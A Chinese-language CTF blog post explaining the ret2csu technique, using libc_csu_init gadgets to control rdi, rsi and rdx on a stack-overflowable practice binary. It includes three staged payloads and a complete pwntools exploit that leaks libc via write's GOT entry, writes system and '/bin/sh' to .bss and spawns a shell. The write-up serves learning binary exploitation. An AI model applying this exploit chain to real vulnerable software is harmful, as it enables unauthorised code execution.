ret2csu

别急,还没写…

好了,现在写了…

额,还记得上次没有gadget的情况下我们采用了SROP,但是倘若没有syscall也没法控制rax呢,别急,还有一个办法,便是今天的ret2csu

ps:现在看来当时好天真TT

一般的elf文件在libc_start_main中会存在libc_csu_init对libc进行初始化,而恰好libc_csu_init中隐含着两个我们可以利用的gadget…

一般长这样,gadget1:

1
2
3
4
5
6
7
8
00400606  mov rbx, [rsp+0x8]
0040060b mov rbp, [rsp+0x10]
00400610 mov r12, [rsp+0x18]
00400615 mov r13, [rsp+0x20]
0040061a mov r14, [rsp+0x28]
0040061f mov r15, [rsp+0x30]
00400624 add rsp, 0x38
00400628 ret

也有可能是一串pop,不过本质是一样的

gadget2:

1
2
3
4
004005f0 mov     rdx, r15
004005f3 mov rsi, r14
004005f6 mov edi, r13d
004005f9 call qword ptr [r12+rbx*8]

乍一看,这啥呀,实则我们却能因此控制关键的rdi,rsirdx并调用函数,太神秘了…

好吧,还是来看具体的题目吧

题目依旧忘记出自哪里了,私密马赛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void main(void)

{
write(1,"Hello, World\n",0xd);
vulnerable_function();
return;
}

void vulnerable_function(void)
{
undefined1 local_88 [128];

read(0,local_88,0x200);
return;
}

题目逻辑依旧十分简单,保护只有NX,非常轻松便能覆盖返回地址,缓冲区也量大管饱,而gadget便是我们的libc_csu_init

第一步还是先泄露我们的libc基址

要注意的是:gadget1的地址就在gadget2后面,所以gadget1要执行两次(到ret才结束!),不过第二次对我们rop链产生影响的只有add rsp, 0x38罢了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
payload1 = b'A'*0x88   #填充
payload1 += p64(gadget1)
payload1 += p64(0) #对齐rsp
payload1 += p64(0) #rbx设置为0
payload1 += p64(1) #注意:rbp必须设置为1,否则将进入循环,详情自己看汇编...
payload1 += p64(write_got) + p64(1) #注意是call qword ptr [r12+rbx*8],所以写write_got而不是write_plt
payload1 += p64(write_got) + p64(8)
payload1 += p64(gadget2)
payload1 += b'A'*0x38 #注意神秘的add rsp,0x38
payload1 += p64(main_addr) #回到main函数...

p.recvuntil("Hello, World\n")

p.send(payload1)

然后接收并计算关键地址…

1
2
3
4
5
leak = p.recv(8)
write_addr = u64(leak.ljust(8,b"\x00"))

libc_base = write_addr - libc.symbols['write']
sys_addr = libc_base + libc.symbols['system']

接下来,我们把字符串/bin/shsystem的真实地址写到bss段上

第二阶段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
p.recvuntil("Hello, World\n")

payload2 = b'B'*0x88
payload2 += p64(gadget1)
payload2 += p64(0)
payload2 += p64(0)
payload2 += p64(1)
payload2 += p64(read_got) + p64(0)
payload2 += p64(bss_addr) + p64(16)
payload2 += p64(gadget2)
payload2 += b'B'*0x38
payload2 += p64(main_addr)

p.send(payload2)
sleep(1)

p.send(p64(sys_addr))
p.send("/bin/sh\0")
sleep(1)

这样,我们将rdi设置为/bin/sh所在的地址,并将r12设置为system所在的地址,即可实现call system并获得shell

最终阶段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
p.recvuntil("Hello, World\n")

payload3 = b'C'*0x88
payload3 += p64(gadget1)
payload3 += p64(0)
payload3 += p64(0)
payload3 += p64(1)
payload3 += p64(bss_addr) + p64(bss_addr+8)
payload3 += p64(0) + p64(0)
payload3 += p64(gadget2)
payload3 += b'C'*0x38
payload3 += p64(main_addr)

sleep(1)
p.send(payload3)

最后也是拿到shell啦~

你也来试试吧!

感谢阅读…

最后还是贴一下完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
p=process('./level5')
elf=ELF('./level5')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'

main_addr = 0x400564
bss_addr = 0x601028
gadget1 = 0x400606
gadget2 = 0x4005f0
write_got = elf.got['write']
read_got = elf.got['read']

payload1 = b'A'*0x88
payload1 += p64(gadget1)
payload1 += p64(0)
payload1 += p64(0)
payload1 += p64(1)
payload1 += p64(write_got) + p64(1)
payload1 += p64(write_got) + p64(8)
payload1 += p64(gadget2)
payload1 += b'A'*0x38
payload1 += p64(main_addr)

p.recvuntil("Hello, World\n")

p.send(payload1)

sleep(1)

leak = p.recv(8)
write_addr = u64(leak.ljust(8,b"\x00"))

libc_base = write_addr - libc.symbols['write']
sys_addr = libc_base + libc.symbols['system']

p.recvuntil("Hello, World\n")

payload2 = b'B'*0x88
payload2 += p64(gadget1)
payload2 += p64(0)
payload2 += p64(0)
payload2 += p64(1)
payload2 += p64(read_got) + p64(0)
payload2 += p64(bss_addr) + p64(16)
payload2 += p64(gadget2)
payload2 += b'B'*0x38
payload2 += p64(main_addr)

p.send(payload2)
sleep(1)

p.send(p64(sys_addr))
p.send("/bin/sh\0")
sleep(1)

p.recvuntil("Hello, World\n")

payload3 = b'C'*0x88
payload3 += p64(gadget1)
payload3 += p64(0)
payload3 += p64(0)
payload3 += p64(1)
payload3 += p64(bss_addr) + p64(bss_addr+8)
payload3 += p64(0) + p64(0)
payload3 += p64(gadget2)
payload3 += b'C'*0x38
payload3 += p64(main_addr)

sleep(1)
p.send(payload3)

p.interactive()

ps:千万别说我偷懒…

2026.2.11吐槽:


在比赛给的elf文件中从来没有看到过csu gadget

感受呢!!!


ret2csu
https://roxy5201314.github.io/2025/12/25/ret2csu/
作者
roxy
发布于
2025年12月25日
更新于
2026年2月12日
许可协议